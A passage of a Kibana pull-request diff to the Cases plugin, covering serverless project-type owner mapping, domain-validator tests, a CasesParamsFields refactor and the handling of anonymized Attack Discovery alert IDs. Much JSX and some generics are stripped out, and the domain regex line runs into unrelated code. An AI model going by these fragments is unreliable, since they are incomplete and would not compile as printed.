a/x-pack/platform/plugins/shared/cases/common/constants/incremental_id.ts b/x-pack/platform/plugins/shared/cases/common/constants/incremental_id.ts new file mode 100644 index 0000000000000..192732451d8ab --- /dev/null +++ b/x-pack/platform/plugins/shared/cases/common/constants/incremental_id.ts @@ -0,0 +1,9 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export const DEFAULT_TASK_INTERVAL_MINUTES = 10; +export const DEFAULT_TASK_START_DELAY_MINUTES = 10; diff --git a/x-pack/platform/plugins/shared/cases/common/constants/index.ts b/x-pack/platform/plugins/shared/cases/common/constants/index.ts index f87aea29e54c2..447c9708baba5 100644 --- a/x-pack/platform/plugins/shared/cases/common/constants/index.ts +++ b/x-pack/platform/plugins/shared/cases/common/constants/index.ts @@ -176,6 +176,8 @@ export const DEFAULT_FEATURES: CasesFeaturesAllRequired = Object.freeze({ */ export const CASES_TELEMETRY_TASK_NAME = 'cases-telemetry-task'; +export const ANALYTICS_BACKFILL_TASK_TYPE = 'cai:cases_analytics_index_backfill'; +export const ANALYTICS_SYNCHRONIZATION_TASK_TYPE = 'cai:cases_analytics_index_synchronization'; /** * Telemetry diff --git a/x-pack/platform/plugins/shared/cases/common/constants/owners.ts b/x-pack/platform/plugins/shared/cases/common/constants/owners.ts index 4ed1139667a39..384c0b1832a74 100644 --- a/x-pack/platform/plugins/shared/cases/common/constants/owners.ts +++ b/x-pack/platform/plugins/shared/cases/common/constants/owners.ts @@ -7,7 +7,7 @@ import { AlertConsumers } from '@kbn/rule-data-utils'; import { APP_ID } from './application'; -import type { Owner } from './types'; +import type { ServerlessProjectType, Owner } from './types'; /** * Owner @@ -16,7 +16,14 @@ export const SECURITY_SOLUTION_OWNER = 'securitySolution' as const; export const OBSERVABILITY_OWNER = 'observability' as const; export const GENERAL_CASES_OWNER = APP_ID; +export const SECURITY_PROJECT_TYPE_ID = 'security'; +export const OBSERVABILITY_PROJECT_TYPE_ID = 'observability'; + export const OWNERS = [GENERAL_CASES_OWNER, OBSERVABILITY_OWNER, SECURITY_SOLUTION_OWNER] as const; +export const SERVERLESS_PROJECT_TYPES = [ + SECURITY_PROJECT_TYPE_ID, + OBSERVABILITY_PROJECT_TYPE_ID, +] as const; interface RouteInfo { id: Owner; @@ -25,6 +32,7 @@ interface RouteInfo { iconType: string; appRoute: string; validRuleConsumers?: readonly AlertConsumers[]; + serverlessProjectType?: ServerlessProjectType; } export const OWNER_INFO: Record = { @@ -35,6 +43,7 @@ export const OWNER_INFO: Record = { iconType: 'logoSecurity', appRoute: '/app/security', validRuleConsumers: [AlertConsumers.SIEM], + serverlessProjectType: SECURITY_PROJECT_TYPE_ID, }, [OBSERVABILITY_OWNER]: { id: OBSERVABILITY_OWNER, @@ -53,6 +62,7 @@ export const OWNER_INFO: Record = { AlertConsumers.MONITORING, AlertConsumers.STREAMS, ], + serverlessProjectType: OBSERVABILITY_PROJECT_TYPE_ID, }, [GENERAL_CASES_OWNER]: { id: GENERAL_CASES_OWNER, diff --git a/x-pack/platform/plugins/shared/cases/common/constants/types.ts b/x-pack/platform/plugins/shared/cases/common/constants/types.ts index 0c2767adfa63a..ec48033d57796 100644 --- a/x-pack/platform/plugins/shared/cases/common/constants/types.ts +++ b/x-pack/platform/plugins/shared/cases/common/constants/types.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { OWNERS } from './owners'; +import type { SERVERLESS_PROJECT_TYPES, OWNERS } from './owners'; export enum HttpApiPrivilegeOperation { Read = 'Read', @@ -14,3 +14,4 @@ export enum HttpApiPrivilegeOperation { } export type Owner = (typeof OWNERS)[number]; +export type ServerlessProjectType = (typeof SERVERLESS_PROJECT_TYPES)[number]; diff --git a/x-pack/platform/plugins/shared/cases/common/observables/validators.test.ts b/x-pack/platform/plugins/shared/cases/common/observables/validators.test.ts index 3c37db14449c9..3562d68c1a03c 100644 --- a/x-pack/platform/plugins/shared/cases/common/observables/validators.test.ts +++ b/x-pack/platform/plugins/shared/cases/common/observables/validators.test.ts @@ -70,13 +70,31 @@ describe('genericValidator', () => { }); describe('validateDomain', () => { - it('should return undefined for a valid domain', () => { + it('should return undefined for a valid domain (example.com)', () => { const result = validateDomain('example.com'); expect(result).toBeUndefined(); }); - it('should return an error for an invalid domain', () => { + it('should return undefined for a valid domain ending with "." (example.com.)', () => { + const result = validateDomain('example.com.'); + + expect(result).toBeUndefined(); + }); + + it('should return undefined for a valid sub-domain (sub.example.com)', () => { + const result = validateDomain('sub.example.com'); + + expect(result).toBeUndefined(); + }); + + it('should return undefined for a valid UK sub-domain (sub.example.co.uk)', () => { + const result = validateDomain('sub.example.co.uk'); + + expect(result).toBeUndefined(); + }); + + it('should return an error for a domain with a label starting with "-"', () => { const result = validateDomain('-invalid.com'); expect(result).toEqual({ @@ -84,6 +102,22 @@ describe('validateDomain', () => { }); }); + it('should return an error for a domain with a label ending with "-"', () => { + const result = validateDomain('invalid-.com'); + + expect(result).toEqual({ + code: 'ERR_NOT_VALID', + }); + }); + + it('should return an error for a domain with a label containing "--"', () => { + const result = validateDomain('invalid--domain.com'); + + expect(result).toEqual({ + code: 'ERR_NOT_VALID', + }); + }); + it('should return an error for hyphen-spaced strings', () => { const result = validateDomain('test-test'); diff --git a/x-pack/platform/plugins/shared/cases/common/observables/validators.ts b/x-pack/platform/plugins/shared/cases/common/observables/validators.ts index df6ef393ad64a..150fde560b793 100644 --- a/x-pack/platform/plugins/shared/cases/common/observables/validators.ts +++ b/x-pack/platform/plugins/shared/cases/common/observables/validators.ts @@ -17,7 +17,27 @@ import { OBSERVABLE_TYPE_URL, } from '../constants'; -const DOMAIN_REGEX = /^(?!-)[A-Za-z0-9-]{1,63}(? { describe('isValidOwner', () => { @@ -71,16 +72,6 @@ describe('owner utils', () => { expect(owner).toBe(OWNER_INFO.securitySolution.id); }); - it('returns securitySolution owner if project isServerlessSecurity', () => { - const owner = getOwnerFromRuleConsumerProducer({ - consumer: AlertConsumers.OBSERVABILITY, - producer: AlertConsumers.OBSERVABILITY, - isServerlessSecurity: true, - }); - - expect(owner).toBe(OWNER_INFO.securitySolution.id); - }); - it('fallbacks to producer when the consumer is alerts', () => { const owner = getOwnerFromRuleConsumerProducer({ consumer: AlertConsumers.ALERTS, @@ -89,5 +80,27 @@ describe('owner utils', () => { expect(owner).toBe(OWNER_INFO.observability.id); }); + + describe('serverless projects', () => { + const cloudProjects: Array<[ServerlessProjectType, string]> = [ + [OWNER_INFO.observability.serverlessProjectType!, OWNER_INFO.observability.id], + [OWNER_INFO.securitySolution.serverlessProjectType!, OWNER_INFO.securitySolution.id], + // @ts-expect-error - we need to test the unknown project type + ['unknown-by-us', OWNER_INFO.cases.id], + ]; + + it.each(cloudProjects)( + 'when the project type is %j, the owner should be %j', + (cloudProjectType, expectedOwner) => { + const owner = getOwnerFromRuleConsumerProducer({ + consumer: 'should be ignored', + producer: 'should be ignored', + serverlessProjectType: cloudProjectType, + }); + + expect(owner).toBe(expectedOwner); + } + ); + }); }); }); diff --git a/x-pack/platform/plugins/shared/cases/common/utils/owner.ts b/x-pack/platform/plugins/shared/cases/common/utils/owner.ts index d159a3d55ee7a..5e97bcffc470f 100644 --- a/x-pack/platform/plugins/shared/cases/common/utils/owner.ts +++ b/x-pack/platform/plugins/shared/cases/common/utils/owner.ts @@ -7,7 +7,7 @@ import { AlertConsumers } from '@kbn/rule-data-utils'; import { OWNER_INFO } from '../constants'; -import type { Owner } from '../constants/types'; +import type { ServerlessProjectType, Owner } from '../constants/types'; export const isValidOwner = (owner: string): owner is keyof typeof OWNER_INFO => Object.keys(OWNER_INFO).includes(owner); @@ -18,16 +18,21 @@ export const getCaseOwnerByAppId = (currentAppId?: string) => export const getOwnerFromRuleConsumerProducer = ({ consumer, producer, - isServerlessSecurity, + serverlessProjectType, }: { consumer?: string; producer?: string; - isServerlessSecurity?: boolean; + serverlessProjectType?: ServerlessProjectType; }): Owner => { // This is a workaround for a very specific bug with the cases action in serverless security + // This same bug was later encountered in o11y as well // More info here: https://github.com/elastic/kibana/issues/186270 - if (isServerlessSecurity) { - return OWNER_INFO.securitySolution.id; + if (serverlessProjectType) { + const foundOwner = Object.entries(OWNER_INFO).find(([, info]) => { + return info.serverlessProjectType === serverlessProjectType; + }); + + return foundOwner ? foundOwner[1].id : OWNER_INFO.cases.id; } // Fallback to producer if the consumer is alerts diff --git a/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.test.tsx b/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.test.tsx index 40c0442c0dc47..9bdbc6fb8743a 100644 --- a/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.test.tsx +++ b/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.test.tsx @@ -19,6 +19,7 @@ import { useGetAllCaseConfigurations } from '../../../containers/configure/use_g import { useGetAllCaseConfigurationsResponse } from '../../configure_cases/__mock__'; import { templatesConfigurationMock } from '../../../containers/mock'; import * as utils from '../../../containers/configure/utils'; +import { ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID } from '@kbn/elastic-assistant-common'; jest.mock('@kbn/alerts-ui-shared/src/common/hooks/use_alerts_data_view'); jest.mock('../../../common/lib/kibana/use_application'); @@ -72,6 +73,7 @@ describe('CasesParamsFields renders', () => { // Workaround for timeout via https://github.com/testing-library/user-event/issues/833#issuecomment-1171452841 user = userEvent.setup({ advanceTimers: jest.advanceTimersByTime, + pointerEventsCheck: 0, }); useApplicationMock.mockReturnValueOnce({ appId: 'management' }); useAlertsDataViewMock.mockReturnValue({ @@ -316,6 +318,54 @@ describe('CasesParamsFields renders', () => { getConfigurationByOwnerSpy.mockRestore(); }); + it('renders observability templates if the project is serverless observability', async () => { + useKibanaMock.mockReturnValue({ + services: { + ...createStartServicesMock(), + // simulate a observability security project + cloud: { isServerlessEnabled: true, serverless: { projectType: 'observability' } }, + data: { dataViews: {} }, + }, + } as unknown as ReturnType); + + const configuration = { + ...useGetAllCaseConfigurationsResponse.data[0], + templates: templatesConfigurationMock, + }; + useGetAllCaseConfigurationsMock.mockImplementation(() => ({ + ...useGetAllCaseConfigurationsResponse, + data: [configuration], + })); + const getConfigurationByOwnerSpy = jest + .spyOn(utils, 'getConfigurationByOwner') + .mockImplementation(() => configuration); + + const securityOwnedRule = { + ...defaultProps, + // these two would normally produce a security owner + producerId: 'securitySolution', + featureId: 'securitySolution', + actionParams: { + subAction: 'run', + subActionParams: { + ...actionParams.subActionParams, + templateId: templatesConfigurationMock[1].key, + }, + }, + }; + + render(); + + expect(getConfigurationByOwnerSpy).toHaveBeenCalledWith( + expect.objectContaining({ + // the observability owner was forced + owner: 'observability', + }) + ); + + getConfigurationByOwnerSpy.mockRestore(); + }); + it('updates template correctly', async () => { useGetAllCaseConfigurationsMock.mockReturnValueOnce({ ...useGetAllCaseConfigurationsResponse, @@ -397,4 +447,67 @@ describe('CasesParamsFields renders', () => { expect(editAction.mock.calls[0][1].reopenClosedCases).toEqual(true); }); }); + + describe('Attack Discovery', () => { + it('does not render `group by` component', async () => { + const newProps = { + ...defaultProps, + ruleTypeId: ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID, + }; + render(); + + expect(screen.queryByTestId('group-by-alert-field-combobox')).not.toBeInTheDocument(); + }); + + it('does not render `time window` component', async () => { + const newProps = { + ...defaultProps, + ruleTypeId: ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID, + }; + render(); + + expect(screen.queryByTestId('time-window-size-input')).not.toBeInTheDocument(); + expect(screen.queryByTestId('time-window-unit-select')).not.toBeInTheDocument(); + }); + + it('does not render `reopen case` component', async () => { + const newProps = { + ...defaultProps, + ruleTypeId: ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID, + }; + render(); + + expect(screen.queryByTestId('reopen-case')).not.toBeInTheDocument(); + }); + + it('renders disabled `template selector` component', async () => { + const newProps = { + ...defaultProps, + ruleTypeId: ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID, + }; + render(); + + const templateSelectorComponent = await screen.findByTestId('create-case-template-select'); + + expect(templateSelectorComponent).toBeInTheDocument(); + expect(templateSelectorComponent).toBeDisabled(); + }); + + it('shows attack discovery explanation tooltip', async () => { + const newProps = { + ...defaultProps, + ruleTypeId: ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID, + }; + render(); + + await user.hover(await screen.findByTestId('create-case-template-select')); + + expect(await screen.findByTestId('case-action-attack-discovery-tooltip')).toBeTruthy(); + expect( + await screen.findByText( + 'Attack Discovery Schedules fully manage Case actions, automatically filling in all fields for new Cases.' + ) + ).toBeInTheDocument(); + }); + }); }); diff --git a/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.tsx b/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.tsx index b5d5fd02fcca4..ae3a762f1916b 100644 --- a/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.tsx +++ b/x-pack/platform/plugins/shared/cases/public/components/system_actions/cases/cases_params.tsx @@ -23,6 +23,7 @@ import { } from '@elastic/eui'; import { useAlertsDataView } from '@kbn/alerts-ui-shared/src/common/hooks/use_alerts_data_view'; import { ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID } from '@kbn/elastic-assistant-common'; +import type { ServerlessProjectType } from '../../../../common/constants/types'; import * as i18n from './translations'; import type { CasesActionParams } from './types'; import { CASES_CONNECTOR_SUB_ACTION } from '../../../../common/constants'; @@ -48,13 +49,16 @@ export const CasesParamsFieldsComponent: React.FunctionComponent< notifications: { toasts }, } = useKibana().services; + const serverlessProjectType = cloud?.isServerlessEnabled + ? (cloud.serverless.projectType as ServerlessProjectType) + : undefined; + const owner = getOwnerFromRuleConsumerProducer({ consumer: featureId, producer: producerId, // This is a workaround for a very specific bug with the cases action in serverless security // More info here: https://github.com/elastic/kibana/issues/195599 - isServerlessSecurity: - cloud?.isServerlessEnabled && cloud?.serverless.projectType === 'security', + serverlessProjectType, }); const { dataView, isLoading: loadingAlertDataViews } = useAlertsDataView({ @@ -188,8 +192,26 @@ export const CasesParamsFieldsComponent: React.FunctionComponent< [editSubActionProperty] ); - const groupByComponent = useMemo(() => { + if (isAttackDiscoveryRuleType) { return ( + + + + ); + } + + return ( + <> @@ -207,71 +229,54 @@ export const CasesParamsFieldsComponent: React.FunctionComponent< - ); - }, [loadingAlertDataViews, onChangeComboBox, options, selectedOptions]); - - const timeWindowComponent = useMemo(() => { - return ( - <> - 0 && - timeWindow !== undefined - } - > - - - { - handleTimeWindowChange('timeWindowSize', e.target.value); - }} - /> - - - { - handleTimeWindowChange('timeWindowUnit', e.target.value); - }} - options={getTimeUnitOptions(timeWindowSize)} - /> - - - - - {showTimeWindowWarning && ( - - )} - - ); - }, [ - errors.timeWindow, - handleTimeWindowChange, - showTimeWindowWarning, - timeWindow, - timeWindowSize, - timeWindowUnit, - ]); - - const templateSelectorComponent = useMemo(() => { - return ( + + 0 && + timeWindow !== undefined + } + > + + + { + handleTimeWindowChange('timeWindowSize', e.target.value); + }} + /> + + + { + handleTimeWindowChange('timeWindowUnit', e.target.value); + }} + options={getTimeUnitOptions(timeWindowSize)} + /> + + + + + {showTimeWindowWarning && ( + + )} + - ); - }, [ - currentConfiguration.id, - currentConfiguration.templates, - defaultTemplate, - isAttackDiscoveryRuleType, - isLoadingCaseConfiguration, - onTemplateChange, - selectedTemplate, - ]); - - const reopenClosedCasesComponent = useMemo(() => { - return ( + - ); - }, [editSubActionProperty, index, reopenClosedCases]); - - if (isAttackDiscoveryRuleType) { - return ( - - {templateSelectorComponent} - - ); - } - - return ( - <> - {groupByComponent} - - {timeWindowComponent} - - {templateSelectorComponent} - - {reopenClosedCasesComponent} ); }; diff --git a/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.test.ts b/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.test.ts index 6117fbf6b4157..accf93c950f64 100644 --- a/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.test.ts @@ -118,6 +118,7 @@ describe('AnalyticsIndex', () => { }, settings: { index: { + hidden: true, auto_expand_replicas: '0-1', mode: 'lookup', number_of_shards: 1, diff --git a/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.ts b/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.ts index 325b2a4ce5420..01c87b1e678f0 100644 --- a/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.ts +++ b/x-pack/platform/plugins/shared/cases/server/cases_analytics/analytics_index.ts @@ -93,6 +93,7 @@ export class AnalyticsIndex { this.sourceIndex = sourceIndex; this.sourceQuery = sourceQuery; this.indexSettings = { + hidden: true, // settings are not supported on serverless ES ...(isServerless ? {} diff --git a/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/constants.ts b/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/constants.ts index 8e0bcc0a20fff..8206a81e0124a 100644 --- a/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/constants.ts +++ b/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/constants.ts @@ -5,5 +5,4 @@ * 2.0. */ -export const TASK_TYPE = 'cai:cases_analytics_index_backfill'; export const BACKFILL_RUN_AT = 60 * 1000; // milliseconds diff --git a/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/index.ts b/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/index.ts index ae0b54dd0b2cc..72f4ec66e765a 100644 --- a/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/index.ts +++ b/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/backfill_task/index.ts @@ -13,9 +13,10 @@ import type { } from '@kbn/task-manager-plugin/server'; import type { CoreSetup, ElasticsearchClient } from '@kbn/core/server'; import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/types'; +import { ANALYTICS_BACKFILL_TASK_TYPE } from '../../../../common/constants'; import type { CasesServerStartDependencies } from '../../../types'; import { CaseAnalyticsIndexBackfillTaskFactory } from './backfill_task_factory'; -import { TASK_TYPE, BACKFILL_RUN_AT } from './constants'; +import { BACKFILL_RUN_AT } from './constants'; export function registerCAIBackfillTask({ taskManager, @@ -32,7 +33,7 @@ export function registerCAIBackfillTask({ }; taskManager.registerTaskDefinitions({ - [TASK_TYPE]: { + [ANALYTICS_BACKFILL_TASK_TYPE]: { title: 'Backfill cases analytics indexes.', maxAttempts: 3, createTaskRunner: (context: RunContext) => { @@ -60,7 +61,7 @@ export async function scheduleCAIBackfillTask({ try { await taskManager.ensureScheduled({ id: taskId, - taskType: TASK_TYPE, + taskType: ANALYTICS_BACKFILL_TASK_TYPE, params: { sourceIndex, destIndex, sourceQuery }, runAt: new Date(Date.now() + BACKFILL_RUN_AT), // todo, value is short for testing but should run after 5 minutes state: {}, diff --git a/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/synchronization_task/index.ts b/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/synchronization_task/index.ts index 1e4c8e73f135d..a7743f980255b 100644 --- a/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/synchronization_task/index.ts +++ b/x-pack/platform/plugins/shared/cases/server/cases_analytics/tasks/synchronization_task/index.ts @@ -13,10 +13,10 @@ import type { TaskManagerStartContract, } from '@kbn/task-manager-plugin/server'; import type { CoreSetup, ElasticsearchClient } from '@kbn/core/server'; +import { ANALYTICS_SYNCHRONIZATION_TASK_TYPE } from '../../../../common/constants'; import type { CasesServerStartDependencies } from '../../../types'; import { AnalyticsIndexSynchronizationTaskFactory } from './synchronization_task_factory'; -const TASK_TYPE = 'cai:cases_analytics_index_synchronization'; const SCHEDULE: IntervalSchedule = { interval: '5m' }; export function registerCAISynchronizationTask({ @@ -34,7 +34,7 @@ export function registerCAISynchronizationTask({ }; taskManager.registerTaskDefinitions({ - [TASK_TYPE]: { + [ANALYTICS_SYNCHRONIZATION_TASK_TYPE]: { title: 'Synchronization for the cases analytics index', createTaskRunner: (context: RunContext) => { return new AnalyticsIndexSynchronizationTaskFactory({ getESClient, logger }).create( @@ -64,7 +64,7 @@ export async function scheduleCAISynchronizationTask({ try { await taskManager.ensureScheduled({ id: taskId, - taskType: TASK_TYPE, + taskType: ANALYTICS_SYNCHRONIZATION_TASK_TYPE, params: { sourceIndex, destIndex }, schedule: SCHEDULE, // every 5 minutes state: {}, diff --git a/x-pack/platform/plugins/shared/cases/server/config.test.ts b/x-pack/platform/plugins/shared/cases/server/config.test.ts index 1f57b281d7f99..e019e3f971d57 100644 --- a/x-pack/platform/plugins/shared/cases/server/config.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/config.test.ts @@ -12,7 +12,11 @@ describe('config validation', () => { it('sets the defaults correctly', () => { expect(ConfigSchema.validate({})).toMatchInlineSnapshot(` Object { - "analytics": Object {}, + "analytics": Object { + "index": Object { + "enabled": true, + }, + }, "files": Object { "allowedMimeTypes": Array [ "image/aces", diff --git a/x-pack/platform/plugins/shared/cases/server/config.ts b/x-pack/platform/plugins/shared/cases/server/config.ts index fd6759278090c..317a4a26acce0 100644 --- a/x-pack/platform/plugins/shared/cases/server/config.ts +++ b/x-pack/platform/plugins/shared/cases/server/config.ts @@ -8,6 +8,10 @@ import type { TypeOf } from '@kbn/config-schema'; import { schema } from '@kbn/config-schema'; import { ALLOWED_MIME_TYPES } from '../common/constants/mime_types'; +import { + DEFAULT_TASK_INTERVAL_MINUTES, + DEFAULT_TASK_START_DELAY_MINUTES, +} from '../common/constants/incremental_id'; export const ConfigSchema = schema.object({ markdownPlugins: schema.object({ @@ -32,23 +36,21 @@ export const ConfigSchema = schema.object({ * The interval that the task should be scheduled at */ taskIntervalMinutes: schema.number({ - defaultValue: 10, + defaultValue: DEFAULT_TASK_INTERVAL_MINUTES, min: 5, }), /** * The initial delay the task will be started with */ taskStartDelayMinutes: schema.number({ - defaultValue: 10, + defaultValue: DEFAULT_TASK_START_DELAY_MINUTES, min: 1, }), }), analytics: schema.object({ - index: schema.maybe( - schema.object({ - enabled: schema.boolean({ defaultValue: true }), - }) - ), + index: schema.object({ + enabled: schema.boolean({ defaultValue: true }), + }), }), }); diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.mock.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.mock.ts index 7e1f42b99fddf..4d074d5ff3242 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.mock.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.mock.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { AttackDiscoveryExpandedAlerts } from './types'; +import type { AttackDiscoveryExpandedAlert, AttackDiscoveryExpandedAlerts } from './types'; export const attackDiscoveryAlerts: AttackDiscoveryExpandedAlerts = [ { @@ -69,3 +69,39 @@ export const attackDiscoveryAlerts: AttackDiscoveryExpandedAlerts = [ }, }, ]; + +export const attackDiscoveryAlertWithAnonymizedId: AttackDiscoveryExpandedAlert = { + _id: '79d9d501-15cf-4b83-835d-fde194606638', + _index: '.internal.alerts-security.attack.discovery.alerts-default-000001', + kibana: { + alert: { + attack_discovery: { + alert_ids: ['019ba0c6-bc40-474e-8622-3fbb92f6cb38', '9dfd82b9-4c17-417a-bb59-5dce32f84e26'], + details_markdown: `- The attack chain spans multiple hosts, including {{ host.name debdbf9b-9e88-442d-8885-7cd6a18fddbc }}.`, + entity_summary_markdown: `Credential access on {{ host.name debdbf9b-9e88-442d-8885-7cd6a18fddbc }}.`, + mitre_attack_tactics: ['Credential Access', 'Lateral Movement', 'Defense Evasion'], + replacements: [ + { uuid: '3bc96e6a-d2ad-411e-8202-f2c6ee892f5b', value: 'g1thqubmti' }, + { uuid: 'debdbf9b-9e88-442d-8885-7cd6a18fddbc', value: 'Host-7y3d5eahjg' }, + { uuid: '686626cb-1a91-45b1-ba46-78cc783c2176', value: 'mimzsybazr' }, + { + uuid: '019ba0c6-bc40-474e-8622-3fbb92f6cb38', + value: '5429aba88d09ac8afa1a5b55755aaa98fb09249abc5dc5ac243034977a4b23d3', + }, + { + uuid: '9dfd82b9-4c17-417a-bb59-5dce32f84e26', + value: 'fef0ce55b49650196e72f5590f65800e37edff396ffa4acfbb595fb192e579db', + }, + ], + summary_markdown: `Credential dumping tools like {{ process.name mimikatz.exe }} and {{ process.name lsass.exe }}.`, + title: 'Coordinated credential access across hosts', + }, + rule: { + parameters: { + alertsIndexPattern: '.alerts-security.alerts-default', + }, + rule_type_id: 'attack-discovery', + }, + }, + }, +}; diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.test.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.test.ts index 71de48da66df9..3f429f11e4bb2 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.test.ts @@ -6,7 +6,7 @@ */ import { groupAttackDiscoveryAlerts } from './group_alerts'; -import { attackDiscoveryAlerts } from './group_alerts.mock'; +import { attackDiscoveryAlertWithAnonymizedId, attackDiscoveryAlerts } from './group_alerts.mock'; describe('groupAttackDiscoveryAlerts', () => { const getAttackDiscoveryDocument = () => attackDiscoveryAlerts[0]; @@ -99,4 +99,26 @@ describe('groupAttackDiscoveryAlerts', () => { '[0.kibana.alert.attack_discovery.alert_ids]: expected value of type [array] but got [undefined]' ); }); + + it('returns a group for a valid attack discovery alert with anonymized `_id` field', () => { + const groups = groupAttackDiscoveryAlerts([attackDiscoveryAlertWithAnonymizedId]); + expect(groups.length).toEqual(1); + expect(groups[0].alerts).toEqual([ + { + _id: '5429aba88d09ac8afa1a5b55755aaa98fb09249abc5dc5ac243034977a4b23d3', + _index: '.alerts-security.alerts-default', + }, + { + _id: 'fef0ce55b49650196e72f5590f65800e37edff396ffa4acfbb595fb192e579db', + _index: '.alerts-security.alerts-default', + }, + ]); + expect(groups[0].grouping).toEqual({ + attack_discovery: '79d9d501-15cf-4b83-835d-fde194606638', + }); + expect( + groups[0].comments?.[0].startsWith('## Coordinated credential access across hosts') + ).toBeTruthy(); + expect(groups[0].title).toEqual('Coordinated credential access across hosts'); + }); }); diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.ts index fe1da0efd4d04..5e13189b93674 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/attack_discovery/group_alerts.ts @@ -5,7 +5,11 @@ * 2.0. */ -import { getAttackDiscoveryMarkdown } from '@kbn/elastic-assistant-common'; +import { + getAttackDiscoveryMarkdown, + getOriginalAlertIds, + transformInternalReplacements, +} from '@kbn/elastic-assistant-common'; import { MAX_DOCS_PER_PAGE, MAX_TITLE_LENGTH } from '../../../../common/constants'; import { AttackDiscoveryExpandedAlertsSchema } from './schema'; @@ -38,6 +42,11 @@ export const groupAttackDiscoveryAlerts = (alerts: CaseAlert[]): CasesGroupedAle const attackDiscovery = attackAlert.kibana.alert.attack_discovery; const alertIds = attackDiscovery.alert_ids; + const replacements = Array.isArray(attackDiscovery.replacements) + ? transformInternalReplacements(attackDiscovery.replacements) + : undefined; + const originalAlertIds = getOriginalAlertIds({ alertIds, replacements }); + const caseTitle = attackDiscovery.title.slice(0, MAX_TITLE_LENGTH); const caseComments = [ getAttackDiscoveryMarkdown({ @@ -62,7 +71,10 @@ export const groupAttackDiscoveryAlerts = (alerts: CaseAlert[]): CasesGroupedAle * These SIEM alerts will be added to the case. */ return { - alerts: alertIds.map((siemAlertId) => ({ _id: siemAlertId, _index: alertsIndexPattern })), + alerts: originalAlertIds.map((siemAlertId) => ({ + _id: siemAlertId, + _index: alertsIndexPattern, + })), grouping: { attack_discovery: attackDiscoveryId }, comments: caseComments, title: caseTitle, diff --git a/x-pack/platform/plugins/shared/cases/server/connectors/cases/cases_connector_executor.test.ts b/x-pack/platform/plugins/shared/cases/server/connectors/cases/cases_connector_executor.test.ts index 520b5ab9980e0..ee85421d328b0 100644 --- a/x-pack/platform/plugins/shared/cases/server/connectors/cases/cases_connector_executor.test.ts +++ b/x-pack/platform/plugins/shared/cases/server/connectors/cases/cases_connector_executor.test.ts @@ -32,7 +32,6 @@ import { rule, owner, timeWindow, - internallyManagedAlerts, reopenClosedCases, updatedCounterOracleRecord, alertsNested, @@ -41,6 +40,7 @@ import { import { expectCasesToHaveTheCorrectAlertsAttachedWithGrouping, expectCasesToHaveTheCorrectAlertsAttachedWithGroupingAndIncreasedCounter, + expectCasesToHaveTheCorrectAlertsAttachedWithPredefinedGrouping, } from './test_helpers'; import { loggingSystemMock } from '@kbn/core/server/mocks'; import type { Logger } from '@kbn/core/server'; @@ -78,12 +78,12 @@ describe('CasesConnectorExecutor', () => { const params: CasesConnectorRunParams = { alerts, - groupedAlerts, + groupedAlerts: null, groupingBy, owner, rule, timeWindow, - internallyManagedAlerts, + internallyManagedAlerts: null, reopenClosedCases, maximumCasesToOpen: 5, templateId: null, @@ -1531,6 +1531,50 @@ describe('CasesConnectorExecutor', () => { 